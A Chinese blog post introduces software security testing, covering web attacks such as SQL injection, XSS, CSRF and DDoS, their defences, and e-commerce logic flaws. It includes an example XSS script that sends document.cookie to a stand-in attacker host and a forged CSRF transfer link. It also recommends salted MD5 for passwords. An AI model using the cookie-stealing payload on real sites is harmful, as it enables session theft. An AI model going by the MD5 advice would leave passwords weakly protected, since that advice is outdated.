一、开场白

我刚开始接触安全测试的时候,想的最多就是那种在昏暗的灯光下,带着神秘面具的黑客,对着键盘噼里啪啦一顿猛如虎的操作,然后长舒一口气,最后来了句yes,完美收工!

随后的职业生涯中,在同行的带领下开始了第一次安全测试之旅。当时大致的过程如下,选择一款安全扫描工具(Appscan),配置好要扫描的网站地址、登录信息等。

点击开始扫描:two thousands years later,Appscan生成了一份非常详细的安全测试报告,然后我们对这份详细的报告里面的安全问题进行了一一验证,最后再提交给开发进行修复。

经历了这次实战之后,让我觉得安全测试只不过如此嘛,随着个人工作经验的不断积累,我对于安全测试的理解也越来越深刻,因此记录个人对于安全测试的理解。

对于软件安全测试,本次主要分享以下几类安全问题:

第一类:软件系统的账户及数据安全;

第二类:常见的Web攻击及防御手段;

第三类:业务系统测试可能存在的安全。

以下内容限于个人水平有限,如有叙述不当,还请海涵。

二、软件系统的帐号及数据安全

可以说大部分的公司,对于我们核心系统的账户/密码的保护几乎为零,任何一个员工的任何一个理由就能轻易的拿到管理后台的账户和密码,并且对于这个账户的密码几乎也不做任何的定期修改。

还有的公司直接将客户的用户名和密码打印在日志里面,对于这类情况,其最大的问题在于公司缺少对于这块的风险意识和完善的安全机制,总会觉得一切没有那么巧合,或许到这你才恍然发现,为什么我们的信息会被泄露。


新闻媒体经常报道,某某因贩卖用户资料被逮捕,但是没抓到的又有多少呢?之前我在的一家公司,一小伙为了利益,将公司500G的客户资料卖给了竞争对手,被当场抓住,之所以能抓住,一切得力于公司健全的安全机制,对于软件系统而言,客户的信息至关重要,切莫让悲剧发生!

三、常见的Web攻击及防御手段

在互联网开始兴起之初,存在各式各样的Web安全问题,不过现在随着各种框架的不断诞生,对于此类的安全问题都做得比较好了,同时也有很多扫描工具可以完成安全扫描,所以这块对于我们来说不需要投入太多的精力。

但是,从学习的角度来说,了解一下常见的web攻击及防御手段也是有必要的。

1、SQL注入

概念

通过sql命令伪装成正常的http请求参数,传递到服务器端,服务器执行sql命令造成对数据库进行攻击。


被攻击的原因

sql语句伪造参数,然后在对参数进行拼接的后形成破坏性的sql语句,最后导致数据库受到攻击。

预防

在Java中,我们可以使用预编译语句(PreparedStatement),这样的话即使我们使用sql语句伪造成参数,到了服务端的时候,这个伪造sql语句的参数也只是简单的字符,并不能起到攻击的作用。

很多orm框架已经可以对参数进行转义。

做最坏的打算,即使被’拖库‘。数据库中密码不应明文存储的,可以对密码使用md5进行加密,为了加大破解成本,所以可以采用加盐的(数据库存储用户名,盐(随机字符长),md5后的密文)方式。

2、XSS(跨站脚本攻击)

概念

全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序。


案例

比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的:

<script>window.open(“www.gongji.com?param=”+document.cookie)</script>

如果我没有对他的内容进行处理,直接存储到数据库,那么下一次当其他用户访问他的这篇文章的时候,服务器从数据库读取后然后响应给客户端,浏览器执行了这段脚本,然后就把该用户的cookie发送到攻击者的服务器了。

被攻击的原因

用户输入的数据变成了代码,比如说上面的< 转义成<。

3、跨站请求伪造(CSRF)

概念

全称是跨站请求伪造(cross site request forgery),指通过伪装成受信任用户的进行访问。

通俗的讲就是说我访问了A网站,然后cookie存在了浏览器,然后我又访问了一个流氓网站,不小心点了流氓网站一个链接(向A发送请求),这个时候流氓网站利用了我的身份对A进行了访问。


案例

比如说我登录了A银行网站,然后我又访问了室友给的一个流氓网站,然后点了里面的一个链接 www.A.com/transfer?account=666&money=10000,那么这个时候很可能我就向账号为666的人转了1wRMB。

注意这个攻击方式不一定是我点了这个链接,也可以是这个网站里面一些资源请求指向了这个转账链接,比如说一个图片。

被攻击的原因

用户本地存储cookie,攻击者利用用户的cookie进行认证,然后伪造用户发出请求。

预防

之所以被攻击是因为攻击者利用了存储在浏览器用于用户认证的cookie,那么如果我们不用cookie来验证不就可以预防了。所以我们可以采用token(不存储于浏览器)认证。

通过referer识别,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

那么这样的话,我们必须登录银行A网站才能进行转账了。

4、DDOS攻击

概念

分布式拒绝服务攻击(Distributed Denial of Service),简单说就是发送大量请求使服务器瘫痪。

DDOS攻击是在DOS攻击基础上的。可以通俗理解,DOS是单挑,而DDOS是群殴,因为现代技术的发展,DOS攻击的杀伤力降低,所以出现了DDOS,攻击者借助公共网络,将大数量的计算机设备联合起来,向一个或多个目标进行攻击。

案例

SYN Flood,简单说一下tcp三次握手,客户端向服务器发出请求,请求建立连接,然后服务器返回一个报文,表明请求被接受,然后客户端也会返回一个报文,最后建立连接。

那么如果有这么一种情况,攻击者伪造ip地址,发出报文给服务器请求连接,这个时候服务器接收到了,根据tcp三次握手的规则,服务器也要回应一个报文,可是这个ip是伪造的,报文回应给谁呢,第二次握手出现错误,第三次自然也就不能顺利进行了,这个时候服务器收不到第三次握手时客户端发出的报文,又再重复第二次握手的操作。

如果攻击者伪造了大量的ip地址并发出请求,这个时候服务器将维护一个非常大的半连接等待列表,占用了大量的资源,最后服务器瘫痪。

CC攻击,在应用层http协议上发起攻击,模拟正常用户发送大量请求直到该网站拒绝服务为止。

被攻击的原因

服务器带宽不足,不能挡住攻击者的攻击流量。

预防

最直接的方法增加带宽。但是攻击者用各地的电脑进行攻击,他的带宽不会耗费很多钱,但对于服务器来说,带宽非常昂贵。

云服务提供商有自己的一套完整DDoS解决方案,并且能提供丰富的带宽资源

四、业务系统测试可能存在的安全问题

我们先来看一个比较通用的电商流程图,从这个流程图中,我们去分析可能被忽略的安全问题。

1、注册、登录

注册登录功能,常见的业务安全漏洞:暴力破解、短信验证码回传、短信轰炸、恶意短信发送,纵向越权登录。

2、用户数据

用户数据功能,常见的业务安全漏洞:通过订单号或id直接查询数据详情,不做用户关联校验。

3、数据查询

数据查询功能,常见的业务安全漏洞:恶意爬取数据,该模块一般不会存在太多安全问题,但需要将之后的下单功能进行观察,即,在进行查询开关的控制时,下单接口也必须要进行控制。

4、下单

下单功能,常见的业务漏洞:不支持的权限使用(使用不支持的红包进行下单)及开关未验证,库存或临界值被击穿(并发测试),优惠券,积分被击穿,订单信息被篡改(基础信息、价格等),恶意占库存。

5、取消下单

取消订单功能,常见的业务漏洞:并发测试取消库存。

6、支付

支付功能,常见的业务漏洞:支付金额篡改,付款前取消订单,先付款再更新订单金额。

7、订单完成

订单完成功能:常见的业务漏洞,积分、优惠券未送到本订单的用户。

8、退货

退货功能:并发退货,库存返回正确,扣减的,积分或优惠券余额不足。

9、用户输入

用户输入可能涉及到js注入,敏感信息,生成大量垃圾数据。

五、常用防御手段

1、增加安全处理策略;

2、数据脱敏:加签、加密;

3、IP黑白名单;

4、引入安全测试。

现在我邀请你进入我们的软件测试学习交流群:746506216】,备注“入群”, 大家可以一起探讨交流软件测试,共同学习软件测试技术、面试等软件测试方方面面,还会有免费直播课,收获更多测试技巧,我们一起进阶Python自动化测试/测试开发,走向高薪之路。

喜欢软件测试的小伙伴们,如果我的博客对你有帮助、如果你喜欢我的博客内容,请 “点赞” “评论” “收藏” 一 键三连哦!

系统安全测试要怎么做,详细来说说相关推荐

  1. API网关—系统的门面要如何做呢?

    文章出自:阿里巴巴十亿级并发系统设计(2021版)-第27节:API网关:系统的门面要如何做呢? 链接:https://pan.baidu.com/s/1lbqQhDWjdZe1CBU-6U4jhA  ...

  2. rtmp测试地址_超详细搭建多码率测试环境(成为流媒体高手必经之路)

    0.引言 关注我的朋友,应该都知道,前面我们讲解了如何搭建srs流媒体服务器,链接如下.由于srs流媒体服务器是不支持多码率测试环境,所以不能在上次的环境上继续演示.那本篇文章就要给出一个新方案,就是 ...

  3. 如何开展系统安全测试

    一.安全测试的前世今生 1945年12月, 在宾夕法尼亚大学摩尔电气工程学院,占地1500 平方英尺,重达30吨的世界上第一台全电子数字计算机ENIAC诞生.不过,那时的计算机输入还是卡片带,谈不上编 ...

  4. 什么是安全测试?一文教会你如何开展系统安全测试…

    软件测试是对项目研发过程产物(文档.代码.程序等)进行审查,保障产品质量的过程.软件测试从测试内容上可以分为功能测试.性能测试.安全测试.兼容性测试等等.其中,安全测试是当今互联网产品的一项重要测试. ...

  5. 软件测试的魅力何在?您为什么选择测试一行而不做开发?

    声明:术有专攻,开发和测试都有自己的技术栈领域,谁也代替不了谁. 接下来我就首先说说本人为什么不做开发,而是选择了测试:其次再谈谈测试的魅力. 问题1:为什么选择测试一行而不做开发? 个人工作12年, ...

  6. FMT开源自驾仪 | FMT固定翼飞控系统首次测试

    FMT作为国内首个基于模型开发的开源飞控系统,此前在多旋翼无人机F200上的各项测试结果均达预期.在圆满完成F200的测试后,FMT项目组开始着手对固定翼飞控系统进行开发,目前FMT固定翼已实现自稳. ...

  7. 渗透测试服务 甲方公司OA网站系统漏洞测试

    渗透测试服务,是甲方授权乙方安全公司对自身的网站,以及APP,办公系统进行的全面人工安全渗透,对漏洞的检测与测试,包括SQL注入漏洞,XSS存储漏洞,反射漏洞,逻辑漏洞,越权漏洞,我们SINE安全公司 ...

  8. 在HC免费开源物业系统中开发接口,很详细

    在HC免费开源物业系统中开发接口,很详细 一.创建对应的数据表已经对应的DAO 二.创建Service,也就是SMO 1.创建测试接口 2.创建对应接口的实现类 3.接着是创建Cmd,也就相当于Con ...

  9. 软件测试的魅力何在?您为什么选择测试一行而不做开发?----来自知乎

    虽然我现在换到开发去了,不过毕竟也在这一行做了六年,貌似还是有机会在这里发言的吧.最初我接触测试纯粹是出于偶然,微软到我们学校的面试只有做测试的肯要我啊.不过后来做了一阵子之后慢慢就喜欢上这个位置了. ...

最新文章

  1. BetaBot 木马分析
  2. 【原创】VSFTP: Login failure: 530 Login incorrect的解决办法
  3. android 广播 7.0变化,安卓7.0到底带来了那些变化?
  4. halcon/c++接口基础 之 析构函数和Halcon算子
  5. SpringMVC 传递相同名称的参数的最佳方法
  6. --------》》》》【醒目】一些比较有用的东西
  7. 常见Linux命令(非文件操作)
  8. 语音识别免费的api
  9. linux mysql 相关操作、问题
  10. 2008 r2 server sql 中文版补丁_sql server 2008 r2 64位补丁包-sql server 2008 r2 64位sp3补丁 简体中文版 - 河东下载站...
  11. ios申请企业开发者账号的代理_iOS企业级开发者账号申请
  12. MOSES系统训练中间过程和意义详解
  13. 【Linux】gcc/g++的使用详解静动态库
  14. ios获得设备处理器cpu类型
  15. 八大基本数据类型之基本类型与包装类型的区别
  16. open /data/prometheus: too many open files
  17. Docker基础(1) 原理篇
  18. 7-4 宿舍谁最高? (20 分) map+结构体的应用
  19. 如何形象理解多方安全计算可实现去中心化
  20. Linux下使用OpenSSL生成证书

热门文章

  1. POS打印机制造商容大科技筹备A股上市,许开明合计持股约90%
  2. 提高亚马逊产品排名的方法
  3. 四阶龙格库塔法c语言程序,四阶龙格_库塔算法的C语言实现_毋玉芝
  4. 夜游模式探索推动文旅融合可持续发展
  5. RHSCA红帽认证系统管理员
  6. Element UI表格行拖拽功能
  7. 用鸿蒙开发AI应用(六)UI篇
  8. 2017,我们所经历的一切
  9. 《企业管理概论》在线平时作业1
  10. html表格怎么控制文字大小,如何用html设置文本输入框输入字体的大小